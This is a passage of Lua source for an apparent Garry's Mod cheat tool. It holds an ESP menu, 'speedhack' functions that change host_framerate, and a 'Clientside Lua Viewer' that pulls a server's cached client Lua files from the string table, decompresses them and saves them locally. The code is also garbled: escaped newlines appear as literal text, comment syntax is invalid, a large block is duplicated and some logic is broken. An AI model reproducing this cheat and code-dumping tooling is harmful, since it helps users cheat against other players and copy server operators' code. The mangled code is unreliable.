ESP\")\x0a\x0a\x09\x09ShowRank:SetConVar( \"bh_esp_rank\" )\x0a\x0a\x09\x09ShowRank:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local Rdistance = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09Rdistance:SetPos( 10, 85 )/ Set the position\x0a\x0a\x09\x09Rdistance:SetValue( GetConVarNumber(\"bh_renderdistance_enable\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09Rdistance:SetText(\"Use a Maximum render distance\")\x0a\x0a\x09\x09Rdistance:SetConVar( \"bh_renderdistance_enable\" )\x0a\x0a\x09\x09Rdistance:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local Rdistance = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09Rdistance:SetPos( 10, 105 )/ Set the position\x0a\x0a\x09\x09Rdistance:SetValue( GetConVarNumber(\"bh_notify\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09Rdistance:SetText(\"Top Scrolling Message\")\x0a\x0a\x09\x09Rdistance:SetConVar( \"bh_notify\" )\x0a\x0a\x09\x09Rdistance:SizeToContents()\x0a\x0a\x09\x09\x0a\x0a\x09\x09local PlaySound = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09PlaySound:SetPos( 10, 125 )/ Set the position\x0a\x0a\x09\x09PlaySound:SetValue( GetConVarNumber(\"bh_playsound\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09PlaySound:SetText(\"Menu sounds\")\x0a\x0a\x09\x09PlaySound:SetConVar( \"bh_playsound\" )\x0a\x0a\x09\x09PlaySound:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local RenderDistance = vgui.Create( \"DNumSlider\", DermaPanel )\x0a\x0a\x09\x09RenderDistance:SetPos( 25, 145) / Set the position\x0a\x0a\x09\x09RenderDistance:SetSize( 280, 25 ) / Set the size\x0a\x0a\x09\x09RenderDistance:SetText( \"Max Render Distance\" ) / Set the text above the slider\x0a\x0a\x09\x09RenderDistance:SetMin( 0 ) / Set the minimum number you can slide to\x0a\x0a\x09\x09RenderDistance:SetMax( 5000 )/ Set the maximum number you can slide to\x0a\x0a\x09\x09RenderDistance:SetDecimals( 1 ) / Decimal places - zero for whole number\x0a\x0a\x09\x09RenderDistance:SetConVar( \"bh_esp_rdistance\" ) / Changes the ConVar when you slide\x0a\x0a\x09end ):SetImage( \"icon16/wrench.png\" )\x0a\x0a\x09\x0a\x0a\x09menu:Open()\x0a\x0a\x09end)\x0a\x0a\x09\x09\x09\x0a\x0a\x09concommand.Add(\"-bh_menu\", function( ply )\x0a\x0a\x09\x09status(\"Menu Closed.\")\x0a\x0a\x09\x09if GetConVarNumber(\"bh_menu_effects\") == 1 then\x0a\x0a\x09\x09\x09hook.Add( \"RenderScreenspaceEffects\", \"BlurBG\", blur_off )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09local menu = DermaMenu() \x0a\x0a\x09end)\x0a\x0a\x09\x0a\x0a\x09function ESP_on( ) \x0a\x0a\x09\x09ply:ConCommand(\"bh_esp 1\")\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09function ESP_off( )\x0a\x0a\x09\x09ply:ConCommand(\"bh_esp 0\")\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09\x09function speedhack_on( ) \x0a\x0a\x09\x09ply:ConCommand(\"host_framerate 8;host_framerate 8\")\x0a\x0a\x09\x09status(\"Enabled SpeedHack\")\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09function speedhack_off( )\x0a\x0a\x09\x09ply:ConCommand(\"host_framerate 0;host_framerate 0\")\x0a\x0a\x09\x09status(\"Disabled SpeedHack\")\x0a\x0a\x09end \x0a\x0a\x09\x0a\x0a\x09-- CL LUAVIEWER */ require(\"stringtables\") local escapejs = { [\"\\\\\"] = \"\\\\\\\\\", [\"\\0\"] = \"\\\\0\" , [\"\\b\"] = \"\\\\b\" , [\"\\t\"] = \"\\\\t\" , [\"\\n\"] = \"\\\\n\" , [\"\\v\"] = \"\\\\v\" , [\"\\f\"] = \"\\\\f\" , [\"\\r\"] = \"\\\\r\" , [\"\\\"\"] = \"\\\\\\\"\", [\"\\'\"] = \"\\\\\\'\" } function string.JavascriptSafe( str ) str = str:gsub( \".\", escapejs ) str = str:gsub( \"\\226\\128\\168\", \"\\\\\\226\\128\\168\" ) str = str:gsub( \"\\226\\128\\169\", \"\\\\\\226\\128\\169\" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open(\"cache/lua/\" .. crc .. \".lua\", \"rb\", \"MOD\") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match(\"%.txt$\") then path = path..\".txt\" end local curdir = \"\" for t in path:gmatch(\"[^/\\\\*]+\") do curdir = curdir..t if curdir:match(\"%.txt$\") then print(\"writing: \", curdir) file.Write(curdir, contents) else curdir = curdir..\"/\" print(\"Creating: \", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = \"\" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end\x0a\x0a\x0a\x0a/*\x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a ____ ___ __ __ \x0a\x0a/\\ _`\\ /\\_ \\ __ /\\ \\__ __ /\\ \\ \x0a\x0a\\ \\ \\/\\_\\/\\ \\ /\\_\\ __ ___\\ \\ ,_\\ ____/\\_\\ \\_\\ \\ __ \x0a\x0a \\ \\ \\/_/_\\ \\ \\ \\/\\ \\ /'__`\\/' _ `\\ \\ \\/ /',__\\/\\ \\ /'_` \\ /'__`\\ \x0a\x0a \\ \\ \\ \\ \\\\_\\ \\_\\ \\ \\/\\ __/\\ \\/\\ \\ \\ \\_/\\__, `\\ \\ \\/\\ \\ \\ \\/\\ __/ \x0a\x0a \\ \\____/\\____\\\\ \\_\\ \\____\\ \\_\\ \\_\\ \\__\\/\\____/\\ \\_\\ \\___,_\\ \\____\\ \x0a\x0a \\/___/ \\/____/ \\/_/\\/____/\\/_/\\/_/\\/__/\\/___/ \\/_/\\/__,_ /\\/____/ \x0a\x0a/\\ \\ __ \x0a\x0a\\ \\ \\ __ __ __ __ __ /\\_\\ __ __ __ __ __ _ __ \x0a\x0a \\ \\ \\ __/\\ \\/\\ \\ /'__`\\ /\\ \\/\\ \\\\/\\ \\ /'__`\\/\\ \\/\\ \\/\\ \\ /'__`\\/\\`'__\\\x0a\x0a \\ \\ \\L\\ \\ \\ \\_\\ \\/\\ \\L\\.\\_ \\ \\ \\_/ |\\ \\ \\/\\ __/\\ \\ \\_/ \\_/ \\/\\ __/\\ \\ \\/\x0a\x0a \\ \\____/\\ \\____/\\ \\__/.\\_\\ \\ \\___/ \\ \\_\\ \\____\\\\ \\___x___/'\\ \\____\\\\ \\_\\\x0a\x0a \\/___/ \\/___/ \\/__/\\/_/ \\/__/ \\/_/\\/____/ \\/__/__/ \\/____/ \\/_/\x0a\x0a \x0a\x0a[[----------------------------------------------------------------]]\x0a\x0a[[----------------------------------------------------------------]] */ require(\"stringtables\") local escapejs = { [\"\\\\\"] = \"\\\\\\\\\", [\"\\0\"] = \"\\\\0\" , [\"\\b\"] = \"\\\\b\" , [\"\\t\"] = \"\\\\t\" , [\"\\n\"] = \"\\\\n\" , [\"\\v\"] = \"\\\\v\" , [\"\\f\"] = \"\\\\f\" , [\"\\r\"] = \"\\\\r\" , [\"\\\"\"] = \"\\\\\\\"\", [\"\\'\"] = \"\\\\\\'\" } function string.JavascriptSafe( str ) str = str:gsub( \".\", escapejs ) str = str:gsub( \"\\226\\128\\168\", \"\\\\\\226\\128\\168\" ) str = str:gsub( \"\\226\\128\\169\", \"\\\\\\226\\128\\169\" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open(\"cache/lua/\" .. crc .. \".lua\", \"rb\", \"MOD\") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match(\"%.txt$\") then path = path..\".txt\" end local curdir = \"\" for t in path:gmatch(\"[^/\\\\*]+\") do curdir = curdir..t if curdir:match(\"%.txt$\") then print(\"writing: \", curdir) file.Write(curdir, contents) else curdir = curdir..\"/\" print(\"Creating: \", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = \"\" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end\x0a\x0a \x0a\x0alocal VIEWER = {}\x0a\x0a\x0a\x0afunction VIEWER:Init()\x0a\x0a self:SetTitle(\"Clientside Lua Viewer\")\x0a\x0a self:SetSize(1200, 550)\x0a\x0a self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h)\x0a\x0a surface.SetDrawColor(Color(108,153,192))\x0a\x0a surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(141,200,251) ) surface.DrawRect( 1,1, w-2,h-2 ) surface.SetDrawColor(Color(141,200,251)) surface.DrawRect( 2,2, w-4,h-4 ) surface.SetDrawColor(Color(108,153,192)) surface.DrawRect( 7.5,27.5, w-14,h-34) surface.SetTextColor(0,0,0) surface.SetFont(\"HeaderFont\")\x0a\x0a surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2) self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() ) end self.close = vgui.Create( \"DButton\", self ) self.close:SetSize( 43,20 ) self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 ) self.close:SetText(\"\") self.close.Paint = function(s,w,h) surface.SetDrawColor( Color(199,80,80) ) surface.DrawRect( 0,0, w,h ) surface.SetTextColor(255,255,255) surface.SetFont(\"HeaderFont\") surface.SetTextPos(18,-2) surface.DrawText( \"x\" ) end self.close.DoClick = function(s,w,h) self:Close() end self.tree = vgui.Create(\"DTree\", self) self.tree:SetPos(8.5,28.5) self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36) self.tree.Directories = {} self.html = vgui.Create(\"DHTML\", self) self.html:SetPos(self:GetWide()/2-200+8.5, 28.5) self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36) self.html:OpenURL(\"https:/metastruct.github.io/lua_editor/\") client_lua_files = stringtable.Get \"client_lua_files\" local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do if i == 1 then continue end local file_name = string.match(v.Path, \".*/([^/]+%.lua)\") local dir_path = string.sub(v.Path, 1, -1 - file_name:len()) local file_crc = v.CRC local cur_dir = tree_data for dir in string.gmatch(dir_path, \"([^/]+)/\") do if not cur_dir[dir] then cur_dir[dir] = {} end cur_dir = cur_dir[dir] end cur_dir[file_name] = {fileN = file_name, CRC = file_crc} end local file_queue = {} local function iterate(data, node, path) path = path or \"\" for k, v in SortedPairs(data) do if type(v) == \"table\" and not v.CRC then local new_node = node:AddNode(k) new_node.DoRightClick = function() local dmenu = DermaMenu(new_node) dmenu:SetPos(gui.MouseX(), gui.MouseY()) dmenu:AddOption(\"Save Folder\", function() dumbFolderCache = \"cluaview/\"..GetHostName()..dumbFolder(new_node) DrawFancyPopup(\"The folder \".. dumbFolder(new_node) ..\" has been saved as data/cluaview/\".. GetHostName() ..\"/folders/\".. dumbFolder(new_node) ..\"!\") end) dmenu:Open() end iterate(v, new_node, path .. k .. \"/\") else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC}) end end end iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do local node = v.node:AddNode(v.fileN, \"icon16/page_green.png\") node.DoClick = function() self.html:QueueJavascript(\"SetContent('\"..string.JavascriptSafe(GetLuaFileContents(v.CRC))..\"')\") end local hostname = GetHostName() hostname = hostname:gsub(\"|\", \"-\") hostname = hostname:gsub(\"~\", \"-\") hostname = hostname:gsub(\" \", \"\") node.DoRightClick = function(self,node) local nodemenu = DermaMenu(node) nodemenu:AddOption(\"Save File\", function() dumbFile(\"cluaview/\".. string.lower(hostname) ..\"/\"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup(\"The file \".. v.fileN ..\" has been saved as data/cluaview/\".. string.lower(hostname) ..\"/\".. v.fileN ..\"!\") end) nodemenu:Open() end node.CRC = v.CRC node.pathh = v.path\x0a\x0a end\x0a\x0a end\x0a\x0aderma.DefineControl(\"dcluaviewer\", \"Clientside Lua Viewer\", VIEWER, \"DFrame\")\x0a\x0a \x0a\x0a/*\x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a ____ \x0a\x0a/\\ _`\\ \x0a\x0a\\ \\ \\L\\_\\ __ ___ ___ __ __ \x0a\x0a \\ \\ _\\/'__`\\ /' _ `\\ /'___\\/\\ \\/\\ \\ \x0a\x0a \\ \\ \\/\\ \\L\\.\\_/\\ \\/\\ \\/\\ \\__/\\ \\ \\_\\ \\ \x0a\x0a \\ \\_\\ \\__/.\\_\\ \\_\\ \\_\\ \\____\\\\/`____ \\\x0a\x0a \\/_/\\/__/\\/_/\\/_/\\/_/\\/____/ `/___/> \\\x0a\x0a /\\___/\x0a\x0a \\/__/\x0a\x0a ____ \x0a\x0a/\\ _`\\ \x0a\x0a\\ \\ \\L\\ \\___ _____ __ __ _____ \x0a\x0a \\ \\ ,__/ __`\\/\\ '__`\\/\\ \\/\\ \\/\\ '__`\\ \x0a\x0a \\ \\ \\/\\ \\L\\ \\ \\ \\L\\ \\ \\ \\_\\ \\ \\ \\L\\ \\ \x0a\x0a \\ \\_\\ \\____/\\ \\ ,__/\\ \\____/\\ \\ ,__/ \x0a\x0a \\/_/\\/___/ \\ \\ \\/ \\/___/ \\ \\ \\/ \x0a\x0a \\ \\_\\ \\ \\_\\ \x0a\x0a \\/_/ \\/_/ \x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a*/ \x0a\x0a \x0a\x0afunction DrawFancyPopup(message)\x0a\x0a fancyPopup = vgui.Create(\"DFrame\")\x0a\x0a fancyPopup:SetSize(ScrW(), ScrH()) fancyPopup:SetPos(0, 0) fancyPopup:SetVisible( true ) fancyPopup:SetTitle(\"\") fancyPopup:MakePopup() fancyPopup:ShowCloseButton( true ) fancyPopup.Paint = function(s,w,h) surface.SetDrawColor( Color(0,0,0,200) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0, w/2-fancyPopup:GetTall()/1.520, ScrW(), ScrH()/6.5 ) surface.SetTextColor(255,255,255) surface.SetFont(\"PopupFont\") surface.SetTextPos(w/4.10, h/2.30) surface.DrawText( message ) end fancyPopupButton = vgui.Create(\"DButton\", fancyPopup) fancyPopupButton:SetSize(110,32.5) fancyPopupButton:SetPos(fancyPopup:GetWide()/2+fancyPopup:GetWide()/10, fancyPopup:GetTall()/2.050) fancyPopupButton:SetText(\"\") fancyPopupButton.Paint = function(s,w,h) surface.SetDrawColor( Color(255,255,255) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0+3,0+3, w-6,h-6 ) surface.SetTextColor(255,255,255) surface.SetFont(\"PopupFont\") surface.SetTextPos(30.5,5.5) surface.DrawText( \"Alright!\" ) end fancyPopupButton.DoClick = function(s,w,h) fancyPopup:Close() end\x0a\x0aend\x0a\x0a \x0a\x0aconcommand.Add(\"testpopup\", function() DrawFancyPopup(\"This is just a test button and nothing else you nutmpies. Pressing Alright does no shit at all!\") end) concommand.Add(\"bh_lua\", function() vgui.Create(\"dcluaviewer\"):MakePopup() end): c7e38769, 3acfdbe0, lines 676- 700